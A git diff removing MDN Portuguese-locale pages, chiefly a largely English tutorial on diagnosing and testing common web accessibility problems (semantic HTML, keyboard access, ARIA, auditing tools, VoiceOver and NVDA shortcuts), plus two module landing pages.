Pré-requisitos:Familiaridade com as bases de HTML, CSS, e JavaScript; uma ideia-base dos princípios de testes cross browser de alto nível.
Objetivo:Saber diagnosticar problemas comuns de acessibilidade, e saber usar as ferramentas e técnicas adequadas para resolvê-los.
- -

O que é acessibilidade?

- -

When we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example:

- -
    -
  • Visually impaired people using screen readers or magnification/zoom to access text
  • -
  • People with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
  • -
  • People with hearing impairments relying on captions/subtitles or other text alternatives for audio/video content.
  • -
- -

However, it is wrong to say that accessibility is just about disabilities. Really, the aim of accessibility is to make your websites/apps usable by as many people in as many contexts as possible, not just those users using high-powered desktop computers. Some examples might include:

- -
    -
  • Users on mobile devices.
  • -
  • Users on alternative browsing devices such as TVs, watches, etc.
  • -
  • Users of older devices that might not have the latest browsers.
  • -
  • Users of lower spec devices that might have slow processors.
  • -
- -

In a way, this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible. What is accessibility? defines accessibility more completely and thoroughly than this article does.

- -

That said, this article will cover cross browser and testing issues surrounding people with disabilities, and how they use the Web. We've already talked about other spheres such as responsive design and performance in other places in the module.

- -
-

Note: Like many things in web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all content, especially as sites get more complex. Instead, it is more about making a reasonable effort to make as much of your content accessible to as many people as possible via defensive coding and sticking to best practices.

-
- -

Common accessibility issues

- -

In this section we'll detail some of the main issues that arise around web accessibility, connected with specific technologies, along with best practices to follow, and some quick tests you can do to see if your sites are going in the right direction.

- -
-

Note: Accessibility is morally the right thing to do, and good for business (numbers of disabled users, users on mobile devices, etc. present significant market segments), but it is also a legal requirement in many parts of the world to make web content accessible to people with disabilities. Read Accessibility guidelines and the law for more information.

-
- -

HTML

- -

Semantic HTML (where the elements are used for their correct purpose) is accessible right out of the box — such content is readable by sighted viewers (provided you don't do anything silly like make the text way too small or hide it using CSS), but will also be usable by assistive technologies like screen readers (apps that literally read out a web page to their user), and confer other advantages too.

- -

Semantic structure

- -

The most important quick win in semantic HTML is to use a structure of headings and paragraphs for your content; this is because screen reader users tend to use the headings of a document as signposts to find the content they need more quickly. If your content has no headings, all they will get is a huge wall of text with no signposts to find anything. Examples of bad and good HTML:

- -
<font size="7">My heading</font>
-<br><br>
-This is the first section of my document.
-<br><br>
-I'll add another paragraph here too.
-<br><br>
-<font size="5">My subheading</font>
-<br><br>
-This is the first subsection of my document. I'd love people to be able to find this content!
-<br><br>
-<font size="5">My 2nd subheading</font>
-<br><br>
-This is the second subsection of my content. I think it is more interesting than the last one.
- -
<h1>My heading</h1>
-
-<p>This is the first section of my document.</p>
-
-<p>I'll add another paragraph here too.</p>
-
-<h2>My subheading</h2>
-
-<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
-
-<h2>My 2nd subheading</h2>
-
-<p>This is the second subsection of my content. I think it is more interesting than the last one.</p>
- -

In addition, your content should make logical sense in its source order — you can always place it where you want using CSS later on, but you should get the source order right to start with.

- -

As a test, you can turn off a site's CSS and see how understandable it is without it. You could do this manually by just removing the CSS from your code, but the easiest way is to use browser features, for example:

- -
    -
  • Firefox: Select View > Page Style > No Style from the main menu.
  • -
  • Safari: Select Develop > Disable Styles from the main menu (to enable the Develop menu, choose Safari > Preferences > Advanced > Show Develop menu in menu bar).
  • -
  • Chrome: Install the Web Developer Toolbar extension, then restart the browser. Click the gear icon that will appear, then select CSS > Disable All Styles.
  • -
  • Edge: Select View > Style > No Style from the main menu.
  • -
- -

Using native keyboard accessibility

- -

Certain HTML features can be selected using only the keyboard — this is default behavior, available since the early days of the web. The elements that have this capability are the common ones that allow user to interact with web pages, namely links, {{htmlelement("button")}}s, and form elements like {{htmlelement("input")}}.

- -

You can try this out using our native-keyboard-accessibility.html example (see the source code) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.

- -

- -

You can then press Enter/Return to follow a focused link or press a button (we've included some JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the {{htmlelement("select")}} element can have its options displayed and cycled between using the up and down arrow keys).

- -

Note that different browsers may have different keyboard control options available. Most modern browsers follow the tab pattern described above (you can also do Shift + Tab to move backwards through the focusable elements), but some browsers have their own idiosyncracies:

- -
    -
  • Firefox for the Mac doesn't do tabbing by default. To turn it on, you have to go to Preferences > Advanced > General, then uncheck "Always use the cursor keys to navigate within pages". Next, you have to open your Mac's System Preferences app, then go to Keyboard > Shortcuts, then select the All Controls radio button.
  • -
  • Safari doesn't allow you to tab through links by default; to enable this, you need to open Safari's Preferences, go to Advanced, and check the Press Tab to highlight each item on a webpage checkbox.
  • -
- -
-

Important: You should perform this kind of test on any new page you write — make sure the functionality can be accessed by the keyboard.

-
- -

This example highlights the importance of using the correct semantic element for the correct job. It is possible to style any element to look like a link or button with CSS, and to behave like a link or button with JavaScript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free. So don't do it if you can avoid it.

- -

Another tip — as shown in our example, you can control how your focusable elements look when focused, using the :focus pseudo-class. It is a good idea to double up focus and hover styles, so your users get that visual clue that a control will do something when activated, whether they are using mouse or keyboard:

- -
a:hover, input:hover, button:hover, select:hover,
-a:focus, input:focus, button:focus, select:focus {
-  font-weight: bold;
-}
- -
-

Note: If you do decide to remove the default focus styling using CSS, make sure you replace it with something else that fits in with your design better — it is a very valuable accessiblity tool, and should not be removed.

-
- -

Building in keyboard accessibility

- -

Sometimes it is not possible to avoid losing keyboard accessibility. You might have inherited a site where the semantics are not very good (perhaps you've ended up with a horrible CMS that generates buttons made with <div>s), or you are using a complex control that does not have keyboard accessibility built in, like the HTML5 {{htmlelement("video")}} element (amazingly, Opera is the only browser that allows you to tab through the <video> element's default browser controls). You have a few options here:

- -
    -
  1. Create custom controls using <button> elements (which we can tab to by default!) and JavaScript to wire up their functionality. See Creating a cross-browser video player for some good examples of this.
  2. -
  3. Create keyboard shortcuts via JavaScript, so functionality is activated when you press certain keys on the keyboard. See Desktop mouse and keyboard controls for some game-related examples that can be adapted for any purpose.
  4. -
  5. Use some interesting tactics to fake button behaviour. Take for example our fake-div-buttons.html example (see source code). Here we've given our fake <div> buttons the ability to be focused (including via tab) by giving each one the attribute tabindex="0" (see WebAIM's tabindex article for more really useful details). This allows us to tab to the buttons, but not to activate them via the Enter/Return key. To do that, we had to add the following bit of JavaScript trickery: -
    document.onkeydown = function(e) {
    -  if(e.keyCode === 13) { // The Enter/Return key
    -    document.activeElement.onclick(e);
    -  }
    -};
    - Here we add a listener to the document object to detect when a button has been pressed on the keyboard. We check what button was pressed via the event object's keyCode property; if it is the keycode that matches Return/Enter, we run the function stored in the button's onclick handler using document.activeElement.onclick(). activeElement gives us the element that is currently focused on the page.
  6. -
- -
-

Note: This technique will only work if you set your original event handlers via event handler properties (e.g. onclick). addEventListener won't work. This is a lot of extra hassle to build the functionality back in. And there's bound to be other problems with it. Better to just use the right element for the right job in the first place.

-
- -

Text alternatives

- -

Text alternatives are very important for accessibility — if a person has a visual or hearing impairment that stops them being able to see or hear some content, then this is a problem. The simplest text alternative available is the humble alt attribute, which we should include on all images that contain relevant content. This should contain a description of the image that successfully conveys its meaning and content on the page, to be picked up by a screenreader and read out to the user.

- -
-

Note: For more information, read Text alternatives.

-
- -

Missing alt text can be tested for in a number of ways, for example using accessibility {{anch("Auditing tools")}}.

- -

Alt text is slightly more complex for video and audio content. There is a way to define text tracks (e.g. subtitles) and display them when video is being played, in the form of the {{htmlelement("track")}} element, and the WebVTT format (see Adding captions and subtitles to HTML5 video for a detailed tutorial). Browser compatibility for these features is fairly good, but if you want to provide text alternatives for audio or support older browsers, a simple text transcript presented somewhere on the page or on a separate page might be a good idea.

- -

Element relationships and context

- -

There are certain features and best practices in HTML designed to provide context and relationships between elements where none otherwise exists. The three most common examples are links, form labels, and data tables.

- -

The key to accessible link text is that people using screen readers will often use a common feature whereby they pull up a list of all the links on the page. In this case, the link text needs to make sense out of context. For example, a list of links labeled "click here", "click here", etc. is really bad for accessibility. It is better for link text to make sense in context and out of context.

- -

Next on our list, the form {{htmlelement("label")}} element is one of the central features that allows us to make forms accessible. The trouble with forms is that you need labels to say what data should be entered into each form input. Each label needs to be included inside a {{htmlelement("label")}} to link it unambiguously to its partner form input (each <label> for attribute value needs to match the form element id value), and it will make sense even if the source order is not completely logical (which to be fair it should be).

- -
-

Note: For more information about link text and form labels, read Meaningful text labels.

-
- -

Finally, a quick word about data tables. A basic data table can be written with very simple markup (see bad-table.html live, and source), but this has problems — there is no way for a screen reader user to associate rows or columns together as groupings of data — to do this you need to know what the header rows are, and if they are heading up rows, columns, etc. This can only be done visually for such a table.

- -

If you instead look at our punk-bands-complete.html example (live, source), you can see a few accessibility aids at work here, such as table headers ({{htmlelement("th")}} and scope attributes), {{htmlelement("caption")}} element, etc.

- -
-

Note: For more information about accessible tables, read Accessible data tables.

-
- -

CSS

- -

CSS tends to provide a lot fewer fundamental accessibility features than HTML, but it can still do just as much damage to accessibility if used incorrectly. We have already mentioned a couple of accessibility tips involving CSS:

- -
    -
  • Use the correct semantic elements to mark up different content in HTML; if you want to create a different visual effect, use CSS — don't abuse an HTML element to get the look you want. For example, if you want bigger text, use {{cssxref("font-size")}}, not an {{htmlelement("h1")}} element.
  • -
  • Make sure your source order makes sense without CSS; you can always use CSS to style the page any way you want afterward.
  • -
  • You should make sure interactive elements like buttons and links have appropriate focus/hover/active states set, to give the user visual clues as to their function. If you remove the defaults for stylistic reasons, make sure you include some replacement styles.
  • -
- -

There are a few other considerations you should take into account.

- -

Color and color contrast

- -

When choosing a color scheme for your website, you should make sure that the text (foreground) color contrasts well with the background color. Your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. Use a tool like WebAIM's Color Contrast Checker to check whether your scheme is contrasting enough.

- -

Another tip is to not rely on color alone for signposts/information, as this will be no good for those who can't see the color. Instead of marking required form fields in red, for example, mark them with an asterisk and in red.

- -
-

Note: A high contrast ratio will also allow anyone using a smartphone or tablet with a glossy screen to better read pages when in a bright environment, such as sunlight.

-
- -

Hiding content

- -

There are many instances where a visual design will require that not all content is shown at once. For example, in our Tabbed info box example (see source code) we have three panels of information, but we are positioning them on top of one another and providing tabs that can be clicked to show each one (it is also keyboard accessible — you can alternatively use Tab and Enter/Return to select them).

- -

- -

Screen reader users don't care about any of this — they are happy with the content as long as the source order makes sense, and they can get to it all. Absolute positioning (as used in this example) is generally seen as one of the best mechanisms of hiding content for visual effect, because it doesn't stop screen readers from getting to it.

- -

On the other hand, you shouldn't use {{cssxref("visibility")}}:hidden or {{cssxref("display")}}:none, because they do hide content from screenreaders. Unless of course, there is a good reason why you want this content to be hidden from screenreaders.

- -
-

Note: Invisible Content Just for Screen Reader Users has a lot more useful detail surrounding this topic.

-
- -

JavaScript

- -

JavaScript has the same kind of problems as CSS with respect to accessibility — it can be disastrous for accessibility if used badly, or overused. We've already hinted at some accessibility problems related to JavaScript, mainly in the area of semantic HTML — you should always use appropriate semantic HTML to implement functionality wherever it is available, for example use links and buttons as appropriate. Don't use <div> elements with JavaScript code to fake functionality if at all possible — it is error prone, and more work than using the free functionality HTML gives you.

- -

Simple functionality

- -

Generally simple functionality should work with just the HTML in place — JavaScript should only be used to enhance functionality, not build it in entirely. Good uses of JavaScript include:

- -
    -
  • Providing client-side form validation, which alerts users to problems with their form entries quickly, without having to wait for the server to check the data. If it isn't available, the form will still work, but validation might be slower.
  • -
  • Providing custom controls for HTML5 <video>s that are accessible to keyboard-only users (as we said earlier, the default browser controls aren't keyboard-accessible in most browsers).
  • -
- -
-

Note: WebAIM's Accessible JavaScript provides some useful further details about considerations for accessible JavaScript.

-
- -

More complex JavaScript implementations can create issues with accessibility — you need to do what you can. For example, it would be unreasonable to expect you to make a complex 3D game written using WebGL 100% accessible to a blind person, but you could implement keyboard controls so it is usable by non-mouse users, and make the color scheme contrasting enough to be usable by those with color deficiencies.

- -

Complex functionality

- -

One of the main areas problematic for accessibility is complex apps that involve complicated form controls (such as date pickers) and dynamic content that is updated often and incrementally.

- -

Non-native complicated form controls are problematic because they tend to involve a lot of nested <div>s, and the browser does not know what to do with them by default. If you are inventing them yourself, you need to make sure that they are keyboard accessible; if you are using some kind of third-party framework, carefully review the options available to see how accessible they are before diving in. Bootstrap looks to be fairly good for accessibility, for example, although Making Bootstrap a Little More Accessible by Rhiana Heath explores some of its issues (mainly related to color contrast), and looks at some solutions.

- -

Regularly updated dynamic content can be a problem because screenreader users might miss it, especially if it updates unexpectedly. If you have a single-page app with a main content panel that is regularly updated using XMLHttpRequest or Fetch, a screenreader user might miss those updates.

- -

WAI-ARIA

- -

Do you need to use such complex functionality, or will plain old semantic HTML do instead? If you do need complexity, you should consider using WAI-ARIA (Accessible Rich Internet Applications), a specification that provides semantics (in the form of new HTML attributes) for items such as complex form controls and updating panels that can be understood by most browsers and screen readers.

- -

To deal with complex form widgets, you need to use ARIA attributes like roles to state what role different elements have in a widget (for example, are they a tab, or a tab panel?), aria-disabled to say whether a control is disabled or not, etc.

- -

To deal with regularly updating regions of content, you can use the aria-live attribute, which identifies an updating region. Its value indicates how urgently the screen reader should read it out:

- -
    -
  • off: The default. Updates should not be announced.
  • -
  • polite: Updates should be announced only if the user is idle.
  • -
  • assertive: Updates should be announced to the user as soon as possible.
  • -
  • rude: Updates should be announced straight away, even if this interrupts the user.
  • -
- -

Here's an example:

- -
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
- -

You can see an example in action at Freedom Scientific's ARIA (Accessible Rich Internet Applications) Live Regions example — the highlighted paragraph should update its content every 10 seconds, and a screenreader should read this out to the user. ARIA Live Regions - Atomic provides another useful example.

- -

We don't have space to cover WAI-ARIA in detail here, you can learn a lot more about it at WAI-ARIA basics.

- -

Accessibility tools

- -

Now we've covered accessibility considerations for different web technologies, including a few testing techniques (like keyboard navigation and color contrast checkers), let's have a look at other tools you can make use of when doing accessibility testing.

- -

Auditing tools

- -

There are a number of auditing tools available that you can feed your web pages into. They will look over them and return a list of accessibility issues present on the page. Examples include:

- -
    -
  • Wave: A rather nice online accessibility testing tool that accepts a web address and returns a useful annotated view of that page with accessibility problems highlighted.
  • -
  • Tenon: Another nice online tool that goes through the code at a provided URL and returns results on accessibility errors including metrics, specific errors along with the WCAG criteria they affect, and suggested fixes. It requires a free trial signup to view the results.
  • -
  • tota11y: An accessibility tool from the Khan Academy that takes the form of a JavaScript library that you attach to your page to provide a number of accessibility tools.
  • -
- -

Let's look at an example, using Wave.

- -
    -
  1. Go to the Wave homepage.
  2. -
  3. Enter the URL of our bad-semantics.html example into the text input at the top of the page (or the URL of another webpage you'd like to analyze) and press Analyse Your Webpage.
  4. -
  5. Check out the description of the accessibility problems on the results page (the icons you can click to see what problems are occuring where are rather useful).
  6. -
- -
-

Note: Such tools aren't good enough to solve all your accessibility problems on their own. You'll need a combination of these, knowledge and experience, user testing, etc. to get a full picture.

-
- -

Automation tools

- -

Deque's aXe tool goes a bit further than the auditing tools we mentioned above. Like the others, it checks pages and returns accessibility errors. Its most immediately useful form is probably the browser extensions:

- - - -

These add an accessibility tab to the browser developer tools. For example, we installed the Firefox version, then used it to audit our bad-table.html example. We got the following results:

- -

- -

aXe is also installable using npm, and can be integrated with task runners like Grunt and Gulp, automation frameworks like Selenium and Cucumber, unit testing frameworks like Jasmin, and more besides (again, see the main aXe page for details).

- -

Screenreaders

- -

It is definitely worth testing with a screenreader to get used to how severely visually impaired people use the Web. There are a number of screenreaders available:

- -
    -
  • Some are paid-for commercial products, like JAWS (Windows) and Window Eyes (Windows).
  • -
  • Some are free products, like NVDA (Windows), ChromeVox (Chrome, Windows, and Mac OS X), and Orca (Linux).
  • -
  • Some are built into the operating system, like VoiceOver (Mac OS X and iOS), ChromeVox (on Chromebooks), and TalkBack (Android).
  • -
- -

Generally, screen readers are separate apps that run on the host operating system and can read not only web pages, but text in other apps as well. This is not always the case (ChromeVox is a browser extension), but usually. Screenreaders tend to act in slightly different ways and have different controls, so you'll have to consult the documentation for your chosen screen reader to get all of the details — saying that, they all work in basically the same sort of way.

- -

Let's go through some tests with a couple of different screenreaders to give you a general idea of how they work and how to test with them.

- -
-

Note: WebAIM's Designing for Screen Reader Compatibility provides some useful information about screenreader usage and what works best for screenreaders. Also see Screen Reader User Survey #6 Results for some interesting screenreader usage statistics.

-
- -

VoiceOver

- -

VoiceOver (VO) comes free with your Mac/iPhone/iPad, so it's useful for testing on desktop/mobile if you use Apple products. We'll be testing it on Mac OS X on a MacBook Pro.

- -

To turn it on, press Cmd + F5. If you've not used VO before, you will be given a welcome screen where you can choose to start VO or not, and run through a rather useful tutorial to learn how to use it. To turn it off again, press Cmd + F5 again.

- -
-

Note: You should go through the tutorial at least once — it is a really useful way to learn VO.

-
- -

When VO is on, the display will look mostly the same, but you'll see a black box at the bottom left of the screen that contains information on what VO currently has selected. The current selection will also be highlighted, with a black border — this highlight is known as the VO cursor.

- -

- -

To use VO, you will make a lot of use of the "VO modifier" — this is a key or key combination that you need to press in addition to the actual VO keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of VO, the modifier can either be CapsLock, or Ctrl + Option.

- -

VO has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "VO" means "the VoiceOver modifier".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Most common VoiceOver keyboard shortcuts
Keyboard shortcutDescription
VO + Cursor keysMove the VO cursor up, right, down, left.
VO + SpacebarSelect/activate items highlighted by the VO cursor. This includes items selected in the Rotor (see below).
VO + Shift + down cursorMove into a group of items (such as an HTML table, or a form, etc.) Once inside a group you can move around and select items inside that group using the above commands as normal.
VO + Shift + up cursorMove out of a group.
VO + C(when inside a table) Read the header of the current column.
VO + R(when inside a table) Read the header of the current row.
VO + C + C (two Cs in succession)(when inside a table) Read the entire current column, including header.
VO + R + R (two Rs in succession)(when inside a table) Read the entire current row, including the headers that correspond to each cell.
VO + left cursor, VO + right cursor(when inside some horizontal options, such as a date or time picker) Move between options.
VO + up cursor, VO + down cursor(when inside some horizontal options, such as a date or time picker) Change the current option.
VO + UUse the Rotor, which displays lists of headings, links, form controls, etc. for easy navigation.
VO + left cursor, VO + right cursor(when inside Rotor) Move between different lists available in the Rotor.
VO + up cursor, VO + down cursor(when inside Rotor) Move between different items in the current Rotor list.
Esc(when inside Rotor) Exit Rotor.
Ctrl(when VO is speaking) Pause/Resume speech.
VO + ZRestart the last bit of speech.
VO + DGo into the Mac's Dock, so you can select apps to run inside it.
- -

This seems like a lot of commands, but it isn't so bad when you get used to it, and VO regularly gives you reminders of what commands to use in certain places. Have a play with VO now; you can then go on to play with some of our examples in the {{anch("Screenreader testing")}} section.

- -

NVDA

- -

NVDA is Windows-only, and you'll need to install it.

- -
    -
  1. Download it from nvaccess.org. You can choose whether to make a donation or download it for free; you'll also need to give them your e-mail address before you can download it.
  2. -
  3. Once downloaded, install it — you double click the installer, accept the license and follow the prompts.
  4. -
  5. To start NVDA, double click on the program file/shortcut, or use the keyboard shortcut Ctrl + Alt + N. You'll see the NVDA welcome dialog when you start it. Here you can choose from a couple of options, then press the OK button to get going.
  6. -
- -

NVDA will now be active on your computer.

- -

To use NVDA, you will make a lot of use of the "NVDA modifier" — this is a key that you need to press in addition to the actual NVDA keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of NVDA, the modifier can either be Insert (the default), or CapsLock (can be chosen by checking the first checkbox in the NVDA welcome dialog before pressing OK).

- -
-

Note: NVDA is more subtle than VoiceOver in terms of how it highlights where it is and what it is doing. When you are scrolling through headings, lists, etc., items you are selected on will generally be highlighted with a subtle outline, but this is not always the case for all things. If you get completely lost, you can press Ctrl + F5 to refresh the current page and begin from the top again.

-
- -

NVDA has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "NVDA" means "the NVDA modifier".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Most common NVDA keyboard shortcuts
Keyboard shortcutDescription
NVDA + QTurn NVDA off again after you've started it.
NVDA + up cursorRead the current line.
NVDA + down cursorStart reading at the current position.
Up cursor and down cursor, or Shift + Tab and TabMove to previous/next item on page and read it.
Left cursor and right cursorMove to previous/next character in current item and read it.
Shift + H and HMove to previous/next heading and read it.
Shift + K and KMove to previous/next link and read it.
Shift + D and DMove to previous/next document landmark (e.g. <nav>) and read it.
Shift + 1–6 and 1–6Move to previous/next heading (level 1–6) and read it.
Shift + F and FMove to previous/next form input and focus on it.
Shift + T and TMove to previous/next data table and focus on it.
Shift + B and BMove to previous/next button and read its label.
Shift + L and LMove to previous/next list and read its first list item.
Shift + I and IMove to previous/next list item and read it.
Enter/Return(when link/button or other activatable item is selected) Activate item.
NVDA + Space(when form is selected) Enter form so individual items can be selected, or leave form if you are already in it.
Shift Tab and Tab(when inside form) Move between form inputs.
Up cursor and down cursor(when inside form) Change form input values (in the case of things like select boxes).
Spacebar(when inside form) Select chosen value.
Ctrl + Alt + cursor keys(when a table is selected) Move between table cells.
- -

Screenreader testing

- -

Now you've gotten used to using a screenreader, we'd like you to use it to do some quick accessibility tests, to get an idea of how screenreaders deal with good and bad webpage features:

- -
    -
  • Look at good-semantics.html, and note how the headers are found by the screenreader and available to use for navigation. Now look at bad-semantics.html, and note how the screenreader gets none of this information. Imagine how annoying this would be when trying to navigate a really long page of text.
  • -
  • Look at good-links.html, and note how they make sense when viewed out of context. This is not the case with bad-links.html — they are all just "click here".
  • -
  • Look at good-form.html, and note how the form inputs are described using their labels because we've used <label> elements properly. In bad-form.html, they get an unhelpful label along the lines of "blank".
  • -
  • Look at our punk-bands-complete.html example, and see how the screenreader is able to associate columns and rows of content and read them out all together because we've defined headers properly. In bad-table.html, none of the cells can be associated at all. Note that NVDA seems to behave slightly stragely when you've only got a single table on a page; you could try WebAIM's table test page instead.
  • -
  • Have a look at the WAI-ARIA live regions example we saw earlier, and note how the screen reader will keep reading out the constantly updating section as it updates.
  • -
- -

User testing

- -

As mentioned above, you can't rely on automated tools alone for determining accessibility problems on your site. It is recommended that when you draw up your testing plan, you should include some accessibility user groups if at all possible (see our User Testing section earlier on in the course for some more context). Try to get some screenreader users involved, some keyboard-only users, some non-hearing users, and perhaps other groups too, as suits your requirements.

- -

Accessibility testing checklist

- -

The following list provides a checklist for you to follow to make sure you've carried out the recommended accessibility testing for your project:

- -
    -
  1. Make sure your HTML is as semantically correct as possible. Validating it is a good start, as is using an Auditing tool.
  2. -
  3. Check that your content makes sense when the CSS is turned off.
  4. -
  5. Make sure your functionality is keyboard accessible. Test using Tab, Return/Enter, etc.
  6. -
  7. Make sure your non-text content has text alternatives. An Auditing tool is good for catching such problems.
  8. -
  9. Make sure your site's color contrast is acceptable, using a suitable checking tool.
  10. -
  11. Make sure hidden content is visible by screenreaders.
  12. -
  13. Make sure that functionality is usable without JavaScript wherever possible.
  14. -
  15. Use ARIA to improve accessibility where appropriate.
  16. -
  17. Run your site through an Auditing tool.
  18. -
  19. Test it with a screenreader.
  20. -
  21. Include an accessibility policy/statement somewhere findable on your site to say what you did.
  22. -
- -

Finding help

- -

There are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's Finding help section for some good pointers.

- -

Summary

- -

Hopefully this article has given you a good grounding in the main accessibility problems you might encounter, and how to test and overcome them.

- -

In the next article we'll look at feature detection in more detail.

- -

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

- -

In this module

- - diff --git a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html deleted file mode 100644 index e2e99b740d..0000000000 --- a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Teste cruzado de navegador -slug: Learn/Tools_and_testing/Cross_browser_testing -tags: - - Acessibilidade - - Aprender - - Automação - - CSS - - CodingScripting - - Ferramentas - - HTML - - JavaScript - - Landing - - Principiante - - Testar - - cruzado navegador - - modulo -translation_of: Learn/Tools_and_testing/Cross_browser_testing -original_slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador ---- -
{{LearnSidebar}}
- -

Este módulo foca-se em testar projetos da web em diferentes navegadores. Nós olhamos para identificar o seu público alvo (por exemplo, quais o s utilizadores, navegadores e dispositivos que mais precisa de se preocupar?), como testar, os principais problemas que irá enfrentar com diferentes tipos de código e como os mitigar, quais as ferramentas que são mais úteis para ajudá-lo a testar e corrigir problemas, e como utilizar a automação para acelerar os testes.

- -

Pré-requisitos

- -

You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here.

- -

Guias

- -
-
Introduction to cross browser testing
-
This article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?"
-
Strategies for carrying out testing
-
Next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), low fi testing strategies (get yourself a range of devices and some virtual machines and do adhoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
-
Handling common HTML and CSS problems
-
With the scene set, we'll now look specifically at the common cross browser problems you will come across in HTML and CSS code, and what tools can be used to prevent problems from happening, or fix problems that occur. This includes linting code, handing CSS prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
-
Handling common JavaScript problems
-
Now we'll look at common cross browser JavaScript problems and how to fix them. This includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern JavaScript features working in older browsers, and more.
-
Handling common accessibility problems
-
Next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
-
Implementing feature detection
-
Feature detection involves working out whether a browser supports a certain block of code, and running different code dependent on whether it does (or doesn't), so that the browser can always provide a working experience rather crashing/erroring in some browsers. This article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports.
-
Introduction to automated testing
-
Manually running tests on several browsers and devices, several times per day, can get tedious and time consuming. To handle this efficiently, you should become familiar with automation tools. In this article we look at what is available, how to use task runners, and the basics of how to use commercial browser test automation apps such as Sauce Labs and Browser Stack.
-
Setting up your own test automation environment
-
In this article, we will teach you how to install your own automation environment and run your own tests using Selenium/WebDriver and a testing library such as selenium-webdriver for Node. We will also look at how to integrate your local testing environment with commercial apps like the ones discussed in the previous article.
-
diff --git a/files/pt-pt/learn/tools_and_testing/index.html b/files/pt-pt/learn/tools_and_testing/index.html deleted file mode 100644 index 444d339603..0000000000 --- a/files/pt-pt/learn/tools_and_testing/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Ferramentas e testes -slug: Learn/Tools_and_testing -tags: - - Acessibilidade - - Aprender - - Automação - - CSS - - CodingScripting - - Ferramentas - - HTML - - JavaScript - - Landing - - Principiante - - Testes - - TopicStub - - Tópico - - testes do utilizador -translation_of: Learn/Tools_and_testing ---- -
{{LearnSidebar}}
- -

Assim que começar a familiarizar-se com as principais tecnologias da web (tal como CSS, HTML e JavaScript), e começar a ter mais experiência, ler mais recursos, e aprender mais dicas e truques, irá começar a deparar-se com todos os tipos de ferramentas, desde CSS e JavaScript prontas a utilizar, até aplicações de teste e automação, e muito mais. À medida que os seus projetos da web se tornam maiores e mais complexos, irá querer começar a aproveitar algumas dessas ferramentas e elaborar planos de testes confiáveis ​​para o seu código. Esta parte da área de aprendizagem tem como objetivo dar-lhe o que precisa para começar e fazer escolhas informadas.

- -

The web industry is an exciting place to work, but it is not without its complications. The core technologies we use to build web sites are fairly stable now, but new features are being added all the time, and new tools — that facilitate working with, and are built on top of these technologies — are constantly appearing. On top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the Web, and be usable by people with disabilities.

- -

Working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.

- -
-

Nota: Because new tools appear and old ones go out of fashion all the time, we have deliberately written this material to be as neutral as possible — we want to focus first and foremost on the general types of tasks these tools will help you accomplish, and keep prescribing specific tools to a minimum. We obviously need to show tool usage to demonstrate specific techniques, but be clear that we do not necessarily recommend these tools as the best or only way to do things — in most cases there are other ways, but we want to provide you with a clear methodology that works.

-
- -

Caminho de aprendizagem

- -

You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, or making effective use of JavaScript libraries, or writing tests and running them against your code using test runners, etc.

- -

You need a solid foundation first.

- -

Módulos

- -
-
Ferramentas de desenvolvimento do mundo real (TDB)
-
In this module, we explore the different kinds of web development tools available. This includes reviewing the most common kinds of tasks you may be called on to solve, how they can fit together in a workflow, and the best tools currently avaiable for carrying out those tasks.
-
Teste cruzado de navegador
-
This module looks specifically at the area of testing web projects across different browsers. Here we look identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.
